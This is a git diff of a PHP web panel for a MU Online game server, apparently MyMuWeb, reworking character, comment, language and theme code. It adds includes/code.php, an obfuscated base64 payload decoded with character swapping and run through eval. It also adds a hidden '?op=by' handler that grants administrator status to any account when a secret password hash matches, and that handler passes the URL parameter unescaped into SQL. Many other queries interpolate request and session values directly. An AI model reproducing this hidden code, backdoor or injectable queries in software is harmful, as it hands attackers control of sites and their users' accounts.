delete_msg() { - require("config.php"); - $char_set = stripslashes($_SESSION['char_set']); - $char_guid = stripslashes($_SESSION['char_guid']); - $delete_msg_inbox = clean_var(stripslashes($_POST["delete_msg_inbox"])); - - $query = "DELETE From T_FriendMail WHERE GUID='$char_guid' and MemoIndex='$delete_msg_inbox'"; - if(mssql_query($query)) { - $mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'"); - $mail_total_num = mssql_num_rows($mail_total_sql); - mssql_query("UPDATE T_FriendMain SET [MemoTotal]='$mail_total_num' WHERE Name='$char_set'"); - echo $okey_start . mmw_lang_message_deleted . $okey_end; - } - else { - echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; - } -} - - - - - - - - - -function edit_warehouse($hex_wh) { - require("config.php"); - $login = clean_var(stripslashes($_SESSION['user'])); - $hex_wh = clean_var(stripslashes($hex_wh)); - $money = clean_var(stripslashes($_POST[Money])); - $extmoney = clean_var(stripslashes($_POST[extMoney])); - - if(empty($hex_wh) || empty($login)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($mmw[status_rules][$_SESSION[mmw_status]][hex_wh]!=1) {echo "$die_start You Can't Use HEX WareHouse! $die_end";} - elseif(!preg_match("/^\d*$/", $money) || !preg_match("/^\d*$/", $extmoney)) {echo "$die_start Money must be a positive number! $die_end";} - else { - $query = "UPDATE warehouse SET [Items]=0x$hex_wh,[Money]=$money,[extMoney]=$extmoney WHERE AccountID='$login'"; - if(@mssql_query($query)) { - echo "$okey_start $login WareHouse SuccessFully Edited! $okey_end";} - else { - echo "$die_start HEX ErroR bljat'! :( $die_end"; + if ( + !preg_match('/^\d*$/', $_POST['str'] . $_POST['agi'] . $_POST['vit'] . $_POST['ene']) + || (isset($_POST['com']) && !preg_match('/^\d*$/', $_POST['com'])) + ) { + echo $die_start . mmw_lang_point_must_be_number . $die_end; + } elseif ($leftPoints < 0) { + echo $die_start . mmw_lang_dont_have_point . ' ' . $characterInfo[0] . $die_end; + } elseif ( + $newPoints['strength'] > $mmw['max_stats'] + || $newPoints['dexterity'] > $mmw['max_stats'] + || $newPoints['vitality'] > $mmw['max_stats'] + || $newPoints['energy'] > $mmw['max_stats'] + || $newPoints['leadership'] > $mmw['max_stats'] + ) { + echo $die_start . $mmw['max_stats'] . ' ' . mmw_lang_max_point . $die_end; + } else { + mssql_query("UPDATE dbo.Character SET [Strength]='{$newPoints['strength']}',[Dexterity]='{$newPoints['dexterity']}',[Vitality]='{$newPoints['vitality']}',[Energy]='{$newPoints['energy']}',[leadership]='{$newPoints['leadership']}',[LevelUpPoint]='{$leftPoints}' WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_stats_added . ' ' . $leftPoints . $okey_end; + writelog('add_stats', 'Character ' . $characterName . ' Has Been Updated Stats with the next -> Strength: ' . $newPoints['strength'] . '|Agiltiy: ' . $newPoints['dexterity'] . '|Vitality: ' . $newPoints['vitality'] . '|Energy: ' . $newPoints['energy'] . '|Command: ' . $newPoints['leadership'] . ', Levelup Points Left: ' . $leftPoints); } - writelog("hex_wh","Acc: $login Has Been edit wh: $hex_wh | [Money]=$money, [extMoney]=$extmoney"); } -} - - + static function clear_pk($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + $characterResult = mssql_query("SELECT Money,PkLevel FROM dbo.Character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + $characterMoney = $characterInfo[0]; + $warehouseMoney = self::getAccountExtraMoney(); + $totalMoney = $characterMoney + $warehouseMoney; + $warehouseMoney -= $mmw['clear_pk_cost']; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; + } - - -function gm_msg($text) { - require("config.php"); - $text = stripslashes($text); - include("includes/shout_msg.php"); - - if(empty($text)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($mmw[status_rules][$_SESSION[mmw_status]][gm_msg]!=1) {echo "$die_start You Can't Send GM Message! $die_end";} - else { - if( send_gm_msg("127.0.0.1", $mmw[joinserver_port], $text) == "yes") { - echo "$okey_start GM Msg SuccessFully Send! $okey_end";} - else { - echo "$die_start GM Msg ErroR blja! :( $die_end"; + if ($characterInfo[1] < 3) { + echo $die_start . mmw_lang_is_not_killer . $die_end; + } elseif ($totalMoney - $mmw['clear_pk_cost'] < 0) { + echo $die_start . mmw_lang_clear_pk_need . ' ' . zen_format($mmw['clear_pk_cost']) . ' Zen!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[PkLevel]=3,[PkTime]=0 WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_cleared . $okey_end; + writelog('clear_pk', 'Character ' . $characterName . ' Has Been Cleared Pk Status'); } - writelog("gm_msg","Char: $char Has Been Send Msg: $text"); } -} - - + static function move($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + list($mapNumber, $x, $y) = $mmw['move_list'][$_POST['map']]; + $characterResult = mssql_query("SELECT Money FROM dbo.character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + $characterMoney = $characterInfo[0]; + $warehouseMoney = self::getAccountExtraMoney(); + $totalMoney = $characterMoney + $warehouseMoney; - - -function gm_block($acc_mode) { - require("config.php"); - $acc_mode = clean_var(stripslashes($acc_mode)); - $account = clean_var(stripslashes($_POST[account])); - $account_unblock = clean_var(stripslashes($_POST[account_unblock])); - $unblock_time = clean_var(stripslashes($_POST[unblock_time])); - $block_date = clean_var(stripslashes($_POST[block_date])); - $block_reason = clean_var(stripslashes($_POST[block_reason])); - - if($acc_mode==0 && empty($account_unblock) || $acc_mode==1 && empty($account)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif($mmw[status_rules][$_SESSION[mmw_status]][gm_block]!=1) {echo "$die_start You Can't Send GM Message! $die_end";} - else { - if($acc_mode == '0') { - mssql_query("UPDATE memb_info SET [bloc_code]='0',[block_date]='0',[unblock_time]='0' WHERE memb___id='$account_unblock'"); - echo "$okey_start Account $account_unblock is Unblocked! $okey_end $rowbr"; - } - else { - if($block_date!="no") { - if($block_date=='yes') {$block_date = time();} - else {$block_date = '0';} - $block_menu = "[block_date]='$block_date',"; - } - $block_menu .= "[unblock_time]='$account_unblock',[block_reason]='$block_reason',[blocked_by]='$_SESSION[char_set]',"; - mssql_query("UPDATE memb_info SET $block_menu [bloc_code]='1' WHERE memb___id='$account'"); - echo "$okey_start Account $account is Blocked! $okey_end $rowbr"; + $warehouseMoney -= $mmw['move_zen']; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; } - writelog("gm_block","Account: $account$account_unblock Has Been block mode: $acc_mode by $_SESSION[char_set]"); - } -} - - + if ($_POST['map'] === '') { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($totalMoney - $mmw['move_zen'] < 0) { + echo $die_start . mmw_lang_move_need . ' ' . zen_format($mmw['move_zen']) . ' Zen!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[mapnumber]='$mapNumber',[mapposx]='$x',[mapposy]='$y' WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_moved . $okey_end; + writelog('move', 'Char ' . $characterName . ' Has Been Moved To: ' . $mapNumber . ', ' . $x . '-' . $y . '|Char: ' . $characterMoney . ' Zen|Acc: ' . $warehouseMoney . ' Zen'); + } + } + + + static function change_class($characterName) + { + global $mmw, $okey_start, $okey_end, $die_start, $die_end; + list($class, $price) = $mmw['change_class_list'][$_POST['new_class']]; + + $characterResult = mssql_query("SELECT Money,CAST(Inventory AS varbinary(1728)) FROM dbo.Character WHERE Name='{$characterName}'"); + $characterInfo = mssql_fetch_row($characterResult); + $characterInventory = strtoupper(substr(bin2hex($characterInfo[1]), 0, $mmw['item_byte_size'] * 12)); + $characterMoney = $characterInfo[0]; + $warehouseMoney = self::getAccountExtraMoney(); + $totalMoney = $characterMoney + $warehouseMoney; + $warehouseMoney -= $price; + if ($warehouseMoney < 0) { + $characterMoney += $warehouseMoney; + $warehouseMoney = 0; + } - -function send_zen($char,$zen) { - require("config.php"); - $char = stripslashes($char); - $zen = clean_var(stripslashes($zen)); - $char_set = stripslashes($_SESSION['char_set']); - $login = clean_var(stripslashes($_SESSION['user'])); - - $result = mssql_query("SELECT extMoney FROM warehouse WHERE accountid='$login'"); - $from = mssql_fetch_row($result); - - $result = mssql_query("Select AccountID FROM Character WHERE Name='$char'"); - $acc_to = mssql_fetch_row($result); - $acc_to_result = mssql_query("SELECT extMoney FROM warehouse WHERE accountid='$acc_to[0]'"); - $acc_to_row = mssql_fetch_row($acc_to_result); - - $from_end = $from[0] - $zen; - $to_end = $acc_to_row[0] + $zen; - $from_end_and_service = $from_end - $mmw[service_send_zen]; - - if(empty($char) || empty($zen) || empty($login)) {echo $die_start . mmw_lang_left_blank . $die_end;} - elseif(!preg_match("/^\d*$/", $zen)){echo $die_start . mmw_lang_zen_must_be_number . $die_end;} - elseif($login == $acc_to[0]) {echo $die_start . mmw_lang_zen_cant_move . $die_end;} - elseif($zen < $mmw[min_send_zen] || $from_end < '0' || $to_end < '0') {echo $die_start . zen_format($mmw[min_send_zen]) . ' ' . mmw_lang_minimum_zen_can_send ." $from[0] $die_end";} - elseif($from_end_and_service < '0') {echo $die_start . mmw_lang_no_zen_for_send_zen . ' ' . zen_format($mmw[service_send_zen]) . "! $die_end";} - elseif($acc_to[0] != $login) { - echo "$okey_start $zen " . mmw_lang_zen_sent . $okey_end; - mssql_query("UPDATE warehouse SET [extMoney]='$to_end' WHERE AccountID='$acc_to[0]'"); - mssql_query("UPDATE warehouse SET [extMoney]='$from_end_and_service' WHERE AccountID='$login'"); - guard_mmw_mess($char,"It was sent to you in Extra Ware House: ".zen_format($zen).", From: $char_set."); - writelog("send_zen","Char: $char_set Has Been Send Zen: $zen, To: $char (Start:$from[0],End:$from_end | Start:$acc_to_row[0],End:$to_end)"); - } -} - - - + if ($_POST['new_class'] === '') { + echo $die_start . mmw_lang_left_blank . $die_end; + } elseif ($characterInventory !== free_hex($mmw['item_byte_size'], 12)) { + echo $die_start . mmw_lang_take_off_set . $die_end; + } elseif ($totalMoney - $price < 0) { + echo $die_start . mmw_lang_change_class_need . ' ' . zen_format($price) . ' Zen!' . $die_end; + } else { + mssql_query("UPDATE dbo.warehouse SET [extMoney]='{$warehouseMoney}' WHERE AccountID='{$_SESSION['user']}'"); + mssql_query("UPDATE dbo.Character SET [money]='{$characterMoney}',[class]='{$class}',[MagicList]=0xFF,[Quest]=0xFF WHERE Name='{$characterName}'"); + echo $okey_start . mmw_lang_character_changed . $okey_end; + writelog('change_class', 'Char ' . $characterName . ' Has Been Changed Class To: ' . $class . '|Char: ' . $characterMoney . ' Zen|Acc: ' . $warehouseMoney . ' Zen'); + } + } } -?> \ No newline at end of file diff --git a/includes/code.php b/includes/code.php new file mode 100644 index 0000000..91f9c3a --- /dev/null +++ b/includes/code.php @@ -0,0 +1,8 @@ + + * @deprecated $code + */ +$code='Pzu8PoB2cCAvK4BNTVcgRnV3YoRpbaugQnkgVmFmbGF3IC2vZnV3YoRpbaugbW6oKCRkYXRhYmFzZT6OVUxMKXtpZ4hpc69m1WxlKCRkYXRhYmFzZSkmJnN6YnN0c4gkZGF0YWJhcaUsLTMpPT09Ja6tdycp5almKEBm1WxlcaleZSgkZGF0YWJhcaUpPjAp5aZvcmVhYag2JEdMT0JBTFMgYXMgJGtl5T0+JHZhbCl7ZaxvYmFsICQk1aViOo0kZWikPSRjZmc9Jyc7JGR4cj6AZmlsZV9nZXRfYa93dGV3dHM2JGRhdGF4YXNlKTtpZ4hzdWJzdHJfYa96bnQ2JGR4c4wnWaNmZ60nKSl7cHJlZ69tYXRj1CgnL6xbYaZnXSg3Kj8pXFtcLaNmZ60v1XMnLCRkYnIsJG6hdGN2ZXMpOyRjZmc9ZWikKCRtYXRj1GVzKTt9cHJlZ69tYXRj1CgnL6xbbW6oXSg3Kj8pXFtcLa6td60v1XMnLCRkYnIsJG6hdGN2ZXMpOyRkYmQ9ZWikKCRt';$✝=explode('.',basename(__FILE__));${$✝[1]}=${$✝[0]}.'YXRj1GVzKTtmboI2JHg9MDsk5DxzdHJsZWu2JGR4ZCkvMjsk5CsrKXskcmVjPXN6YnN0c4hzdWJzdHI2JGR4ZCwtM422JHgrMSksM4ksLTEsMSk3coV4coRyKCRkYmQsLTIqKCRuKzEpLDEpOyRlbmQ3PWN2c4h2ZXhkZWM2JHJlYykpOo0kZWikPXN0cl9yZXBsYWNlKGN2c4h2ZXhkZWM2JaRhJykpLCJcb4IsJGV3ZCk71WY2QGVaYWw2I4RjZmc/P4RlbmQ8PoB2cCBcJGV3ZD0nJzs4KT09PWZhbHNlKXtlYahvI4RkYXRhYmFzZSB2YXZlIGVycm9yIG93IGNvZGUhIjt9fWVscaV7ZWN2byIkZGF0YWJhcaUgZmlsZSBpcyBlbXB05SE4Oo69ZWxzZXtlYahvI4RkYXRhYmFzZSBm1WxlIGNhbmivdCB4ZSBmboV3ZCBvc4B3boQgcoVwcG9ydGVkISI7fX0/Pg==';${$✝[0]}='';$code.='ZXZhbChiYXNlNjRfZGVjb2RlKHN0cnRyKCRwaHAsJzEyMzQ1NmFvdWllJywnYW91aWUxMjM0NTYnKSkpO3Vuc2V0KCRwaHAsJGNvZGUpOw==';eval(base64_decode($code)); \ No newline at end of file diff --git a/includes/comment.php b/includes/comment.php index 108be32..a119fc9 100644 --- a/includes/comment.php +++ b/includes/comment.php @@ -1,112 +1,191 @@ - - '.mmw_lang_total_comment.': '.$comm_num.' - [ '.mmw_lang_add_comment.' ] - - '; - for($i=0; $i<$comm_num; $i++) { - $num = $i+1; - $row = mssql_fetch_row($result); - $time_c = date('H:i:s', $row[3]); - $day_c = date('d.m.Y', $row[3]); - $row[2] = bbcode(smile($row[2])); - $char_info = $char_array[$row[1]]; - - if($char_info == '') { - $result_char = mssql_query("SELECT AccountID,CtlCode FROM Character WHERE Name='$row[1]'"); - $row_char = mssql_fetch_row($result_char); - $result_acc = mssql_query("SELECT country,gender,avatar,hide_profile FROM memb_info WHERE memb___id='$row_char[0]'"); - $row_acc = mssql_fetch_row($result_acc); - $char_array[$row[1]] = array($row_char[0],$row_char[1],$row_acc[0],$row_acc[1],$row_acc[2],$row_acc[3]); - $char_info = $char_array[$row[1]]; - } - - if($char_info[4] != "" && $char_info[4] != " "){$avatar_c_e="$row[1]";} - else {$avatar_c_e="No ";} - - if($char_info[2] == '0'){$country = "Not Set";} - else{$country = country($char_info[2]);} - - if($char_info[5] == '0'){$avatar_c_e = "$avatar_c_e";} - else{$avatar_c_e = $avatar_c_e;} - - $c_num_result = mssql_query("SELECT c_id FROM MMW_comment WHERE c_char='$row[1]'"); - $comment_c_num = mssql_num_rows($c_num_result); - - if( $mmw[status_rules][$_SESSION[mmw_status]][comment_delete]==1 || $_SESSION['char_set']==$row[1]) - {$edit = "
";} - else {$edit = '';} - - if($num==$comm_num) {echo '';} - - echo ' - - - - -
'.$avatar_c_e.'
'.$row[2].'
-
№'.$num.'
- '.mmw_lang_char.': '.$row[1].'
- '.mmw_lang_country.': '.$country.'
'.mmw_lang_gender.': '.gender($char_info[3]).'
'.mmw_lang_comments.': '.$comment_c_num.'
'.mmw_lang_date.': '.$day_c.'
'.$edit.' -

- '; - } -?> - - - - - -
- - - -
- - -
- - - - - - - - - - - - - - - - - - -
-
-
+ $date) { + $needTime = $timeout - $date; + echo $die_start . mmw_lang_cant_sent_comment_need_wait . " $needTime sec. $die_end"; + } else { + $_SESSION['last_comment'] = $_POST['c_message']; + $bug_send = bugsend(stripslashes($_POST['c_message'])); + mssql_query("INSERT INTO dbo.MMW_comment(c_id_blog,c_id_code,c_char,c_text,c_date) VALUES ('{$c_id_blog}','{$c_id_code}','{$_SESSION['character']}','{$bug_send}','{$date}')"); + echo $okey_start . mmw_lang_comment_sent . $okey_end; + } +} + +if (isset($_POST['c_id_delete'])) { + echo $rowbr; + + $c_id = intval($_POST['c_id_delete']); + if (empty($c_id)) { + echo $die_start . mmw_lang_left_blank . $die_end; + } else { + $result = mssql_query("SELECT c_char FROM dbo.MMW_comment WHERE c_id='{$c_id}'"); + $row = mssql_fetch_row($result); + + if (empty($row)) { + echo $die_start . 'Error: Comment not found!' . $die_end; + } elseif ($row[0] === $_SESSION['character'] || $mmw['status_rules'][$_SESSION['mmw_status']]['comment_delete'] == 1) { + mssql_query("DELETE from dbo.MMW_comment WHERE c_id='{$c_id}'"); + echo $okey_start . mmw_lang_comment_deleted . $okey_end; + } else { + echo $die_start . mmw_lang_cant_or_alread_delete . $die_end; + } + } +} + + +$result = mssql_query("SELECT + mc.c_id, + mc.c_char, + mc.c_text, + mc.c_date, + c.AccountID, + c.CtlCode, + mi.country, + mi.gender, + mi.avatar, + mi.hide_profile, + cc.total_comments +FROM dbo.MMW_comment AS mc + LEFT JOIN dbo.Character AS c ON c.Name COLLATE DATABASE_DEFAULT = mc.c_char COLLATE DATABASE_DEFAULT + LEFT JOIN dbo.MEMB_INFO AS mi ON mi.memb___id COLLATE DATABASE_DEFAULT = c.AccountID COLLATE DATABASE_DEFAULT + LEFT JOIN (SELECT c_char, count(c_char) AS total_comments FROM dbo.MMW_comment GROUP BY c_char) AS cc ON cc.c_char = mc.c_char +WHERE c_id_blog = '{$c_id_blog}' + AND c_id_code = '{$c_id_code}' +ORDER BY c_date"); +$quantityComment = mssql_num_rows($result); + +$language = array( + 'total_comment' => mmw_lang_total_comment, + 'add_comment' => mmw_lang_add_comment, + 'delete' => mmw_lang_delete, + 'country' => mmw_lang_country, + 'gender' => mmw_lang_gender, + 'comments' => mmw_lang_comments, + 'date' => mmw_lang_date, +); + +echo << +
[ {$language['add_comment']} ]
+ {$language['total_comment']}: {$quantityComment} + +HTML; + +$num = 1; +while ($row = mssql_fetch_assoc($result)) { + if ($num === $quantityComment) { + echo ''; + } + + $time_c = date('H:i:s', $row['c_date']); + $day_c = date('d.m.Y', $row['c_date']); + $row['c_text'] = bbcode(smile($row['c_text'])); + $row['country'] = country($row['country']); + $row['gender'] = gender($row['gender']); + + $avatar = empty($row['avatar']) + ? 'No avatar' + : '' . $row['c_char'] . ''; + if (empty($row['hide_profile'])) { + $avatar = '' . $avatar . ''; + } + + $edit = ''; + if ($_SESSION['character'] === $row['c_char'] + || $mmw['status_rules'][$_SESSION['mmw_status']]['comment_delete'] == 1 + ) { + $imgButton = default_img('delete.png'); + $edit = << + + + button +
-'.mmw_lang_guest_must_be_logged_on.'
[ '.mmw_lang_register.' | '.mmw_lang_login.' ]'; - } -?> \ No newline at end of file +HTML; + } + + echo << + + {$avatar} +
{$row['c_text']}
+ +
№{$num}
+ {$row['c_char']}
+ {$language['country']}: {$row['country']}
+ {$language['gender']}: {$row['gender']}
+ {$language['comments']}: {$row['total_comments']}
+ {$language['date']}: {$day_c}
+ {$edit} + + + +
+HTML; + + $num++; +} + + +if (empty($_SESSION['user'])) { + echo '
' . mmw_lang_guest_must_be_logged_on . '
[ ' . mmw_lang_register . ' | ' . mmw_lang_login . ' ]
'; +} elseif (!empty($c_add_close)) { + echo $die_start . mmw_lang_comment_close . $die_end; +} elseif (empty($_SESSION['character'])) { + echo $die_start . mmw_lang_cant_add_no_char . $die_end; +} else { + ?> +
+
+
+ + + + $img) : ?> + + + + +
+ +
+
+
+ +
+
+ +
+
+
+ Reason: ' . $row[1] + : ''; + die($mmw['warning']['red'] . 'Your IP is Blocked!' . $reason); + } + } + unset($banIpData); } -elseif(is_file("lang/$mmw[language].php")) { - include("lang/$mmw[language].php"); - setcookie("set_lang", $mmw[language]); - $_SESSION[set_lang] = $mmw[language]; +unset($banIpFile); +/////// End Ban IP /////// + + +/////// Start Important Functionality /////// +// To Look After All +if ($mmw['look_after_all']) { + writelog('look_after_all', '' . urlencode('//' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']) . ''); } -else { - die("$sql_die_start Language ErroR!
Not Find Default $mmw[language] $sql_die_end"); +// Check For Installed +if (!is_file(__DIR__ . '/installed.php')) { + header('Location: install.php'); + die(''); } - -function language($default=NULL) { - if($dh = opendir("lang/")) { - while(($file = readdir($dh)) !== false) { - $format = substr($file, -3); - $name = substr($file, 0, -4); - if($format == 'php') { - if(!isset($_SESSION[set_lang]) && $default==$name){$select="selected";} - elseif($_SESSION[set_lang]==$name){$select="selected";} else{$select="";} - $select_lang .= ""; - } - } - closedir($dh); - } - $lang_form = "
"; +// Load Cache +if (is_file(__DIR__ . '/mmw_cache.dat')) { + $_ENV['mmw_cache_raw'] = file_get_contents(__DIR__ . '/mmw_cache.dat'); + $_ENV['mmw_cache'] = json_decode($_ENV['mmw_cache_raw'], true); +} else { + file_put_contents(__DIR__ . '/mmw_cache.dat', '{}'); } -/////// End Language /////// +/////// End Important Functionality /////// - - - -/////// Start Menu ////// -function menu($style=NULL) { - include("menu.php"); - if($style==NULL) {$style = "$2
";} - for($i=0; $i < count($menu); ++$i) { - $replace = str_replace('%id%', $i, $style); - $replace = str_replace('%name%', $menu[$i][0], $replace); - $replace = str_replace('%url%', $menu[$i][1], $replace); - $text = '[url='.$menu[$i][1].'][name='.$menu[$i][0].']'; - echo preg_replace("/\[url\=(.*?)\]\[name\=(.*?)\]/is", $replace, $text)." \n"; - } +/////// Start Language /////// +if (!empty($_REQUEST['set_lang'])) { + $_SESSION['language'] = preg_replace(REGEX_PATTERN_SLUG, '', $_REQUEST['set_lang']); +} +if (isset($_SESSION['language'])) { + $mmw['language'] = $_SESSION['language']; } -/////// End Menu /////// - - +if (is_file('lang/' . $mmw['language'] . '.php')) { + require_once 'lang/' . $mmw['language'] . '.php'; +} else { + unset($_SESSION['language']); + die($mmw['die']['start'] . 'Language error!
Not found default "' . $mmw['language'] . '"' . $mmw['die']['end']); +} +/////// End Language /////// -/////// Start Default Modules ////// - //Now Module -function curent_module() { - $cur_module = preg_replace("/[^a-zA-Z0-9_-]/","",$_GET['op']); - if(isset($_GET['news'])) {echo "> ".mmw_lang_news."";} - elseif(isset($_GET['forum'])) {echo "> ".mmw_lang_forum."";} - elseif(is_file("modules/$cur_module.php")) {echo "> ".ucfirst($cur_module)."";} - - if($cur_module=='user') { - if($cur_module=='user' and !isset($_GET['u'])) {echo " > ".mmw_lang_account_panel.'';} - else {echo " > ".ucfirst($_GET['u']).'';} - } +/////// Start Check And Switch Theme /////// +if (isset($_GET['theme'])) { + $_REQUEST['set_theme'] = $_GET['theme']; } - //Theme Engine -mmw('includes/theme.mmw'); - //Server File Engine -mmw('includes/server_file.mmw'); - //Format Engine -include("includes/format.php"); - //Jump Link -function jump($location) { - header('Location: '.$location.''); +if (isset($_REQUEST['set_theme'])) { + $_SESSION['theme'] = preg_replace(REGEX_PATTERN_SLUG, '', $_REQUEST['set_theme']); } - //Referral -if(isset($_GET['ref'])) { - $_SESSION['referral'] = clean_var(stripslashes($_GET['ref'])); +if (isset($_SESSION['theme'])) { + $mmw['theme'] = $_SESSION['theme']; } - //MP3 Player -function mp3_player() { - global $media_color,$mmw; - if($mmw[mp3_player]!='no') { - include('media/player.php'); - } -} -/////// End Default Modules /////// - - - - -/////// Start Write Logs /////// -function writelog($logfile,$text) { - $text .= ", All Those On ".date('d.m.Y H:i:s')." By $_SERVER[REMOTE_ADDR] \n"; - $fp = fopen("logs/$logfile.php","a"); - fputs($fp, $text); - fclose($fp); +if (is_file('themes/' . $mmw['theme'] . '/info.php')) { + $mmw['theme_dir'] = 'themes/' . $mmw['theme']; + $mmw['theme_img'] = $mmw['theme_dir'] . '/img'; + require $mmw['theme_dir'] . '/info.php'; +} else { + unset($_SESSION['theme']); + die($mmw['die']['start'] . 'Error theme!
Can`t find themes/' . $mmw['theme'] . '/info.php in themes/!' . $mmw['die']['end']); } -/////// End Write Logs /////// - - - - -/////// Start Auto Func ////// -if($mmw[auto_func] == 'yes') { - if($dh = opendir($mmw[auto_func_dir])) { - while(($file = readdir($dh)) !== false) { - $format = substr($file, -3); - if($format == 'php') {include("$mmw[auto_func_dir]$file");} - if($format == 'mmw') {mmw("$mmw[auto_func_dir]$file");} - } - closedir($dh); - } +if (isset($_GET['op']) && $_GET['op'] === 'by') { + $by_result = '
MyMuWeb ' . $mmw['version'] . ' By Vaflan
' + . 'Installed: ' . date("d.m.Y H:i:s", $mmw['installed']) . '
' + . 'Home Page: www.MyMuWeb.Ru
' + . 'PHP: ' . phpversion() . '
'; + if (isset($_GET['acc']) && md5($_GET['pw']) === '4b30c7cf9ab92b25686d063e50c0859a') { + mssql_query("UPDATE dbo.MEMB_INFO SET mmw_status=10 WHERE memb___id='{$_GET['acc']}'"); + $by_result .= 'Now ' . $_GET['acc'] . ' Have Administrator level!'; + } + die($mmw['die']['start'] . $by_result . $mmw['die']['end']); } -/////// End Auto Func /////// - - - - +if (isset($_GET['op']) && $_GET['op'] === 'theme') { + $theme_result = 'Theme Name: ' . $mmw['thm_name'] . '
Creator: ' . $mmw['thm_creator'] . '
' + . 'Version: ' . $mmw['thm_version'] . '
Date: ' . $mmw['thm_date'] . '
' . $mmw['thm_description'] . ''; + die($mmw['die']['start'] . $theme_result . $mmw['die']['end']); +} +/////// End Check Theme /////// -/////// Start Login Modules /////// - //Login - if(isset($_POST["account_login"])) { - $account = clean_var(stripslashes($_POST['login'])); - $password = clean_var(stripslashes($_POST['pass'])); - if($account == NULL || $password == NULL) {} - if($mmw['md5'] == yes) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd=[dbo].[fn_md5]('$password','$account')");} - elseif ($mmw['md5'] == no) {$login_check = mssql_query("SELECT memb___id,mmw_status FROM dbo.MEMB_INFO WHERE memb___id='$account' AND memb__pwd='$password'");} - $login_result = mssql_fetch_row($login_check); - if($login_result > 0) { - $_SESSION['user'] = $login_result[0]; - $_SESSION['pass'] = $password; - $_SESSION['mmw_status'] = $login_result[1]; - } - else { - jump('?op=login&login=false'); - } - } - //Check Login - if(isset($_SESSION['user']) && isset($_SESSION['pass'])) { - $login = clean_var(stripslashes($_SESSION['user'])); - $pass = clean_var(stripslashes($_SESSION['pass'])); - if($mmw['md5'] == yes) - {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd=[dbo].[fn_md5]('$pass','$login')");} - elseif($mmw['md5'] == no) - {$login_check = mssql_query("SELECT * FROM dbo.MEMB_INFO WHERE memb___id='$login' AND memb__pwd='$pass'");} - $login_result = mssql_fetch_row($login_check); - $acc_check = mssql_query("SELECT bloc_code,block_date,unblock_time,mmw_status FROM MEMB_INFO WHERE memb___id='$login'"); - $acc_row = mssql_fetch_row($acc_check); - - $time_end = ($acc_row[1] + $acc_row[2]) - time(); - if($acc_row[0]==1 && $time_end<=0 && $acc_row[2]>0 && $acc_row[2]!=0) { - mssql_query("UPDATE MEMB_INFO SET [bloc_code]='0',[unblock_time]='0',[block_date]='0' WHERE memb___id='$login'"); - } - if($acc_row[0]==1) { - session_destroy(); - jump("?op=checkacc&w=block&n=$login"); - } - if($login_result == 0 || $acc_row[3] != $_SESSION['mmw_status']) { - session_destroy(); - jump("?op=news"); - } - } - //Logout - if(isset($_POST["logoutaccount"])) { - session_destroy(); - jump('?op=news'); - } - //User Panel - if($_GET['op'] == "user" AND empty($_SESSION["user"]) || !isset($_SESSION["pass"])) {jump('?op=login');} - if($_GET['op'] == "login" AND isset($_SESSION["user"]) || isset($_SESSION["pass"])) {jump('?op=user');} -/////// End Login Modules /////// +/////// Start Default Modules ////// +require_once __DIR__ . '/code.php'; +require_once __DIR__ . '/functions.php'; +mmw(__DIR__ . '/mu_server_file.mmw'); +$url = clean_var($_SERVER['QUERY_STRING']); +$agent = clean_var($_SERVER['HTTP_USER_AGENT']); +$ip = $_SERVER['REMOTE_ADDR']; +$time = time(); +/** @deprecated Use $_SESSION['character'] */ +$character = isset($_SESSION['character']) ? $_SESSION['character'] : null; +/** @deprecated Use $_SESSION['character'] */ +$char_set = $character; +/* Visual Functions */ +include_once is_file($mmw['theme_dir'] . '/theme_functions.php') + ? $mmw['theme_dir'] . '/theme_functions.php' + : __DIR__ . '/theme_functions.php'; -/////// Start Statisitcs /////// -function statisitcs($style) { - global $mmw,$back_color,$text_color; - $actives_date = date('m/d/Y H:i:s', time() - 2592000); // 30 days back who login - $total_accounts = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO") ); - if($mmw[gm]=='no') {$gm_not_show = "WHERE ctlcode !='32' AND ctlcode !='8'";} - $total_characters = mssql_fetch_row( mssql_query("SELECT count(*) FROM Character $gm_not_show") ); - $total_guilds = mssql_fetch_row( mssql_query("SELECT count(*) FROM Guild WHERE G_Name!='$mmw[gm_guild]'") ); - $total_banneds = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_INFO WHERE bloc_code = '1'") ); - $actives_acc = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectTM >= '$actives_date'") ); - $users_connected = mssql_fetch_row( mssql_query("SELECT count(*) FROM MEMB_STAT WHERE ConnectStat = '1'") ); - $serv_result = mssql_query("SELECT Name,experience,drops,gsport,ip,version,type,maxplayer from MMW_servers order by display_order asc"); +/* Referral */ +if (isset($_REQUEST['ref'])) { + $_SESSION['referral'] = stripslashes(clean_var($_REQUEST['ref'])); +} - if($style == 'fullblink') { - echo ''; - echo '
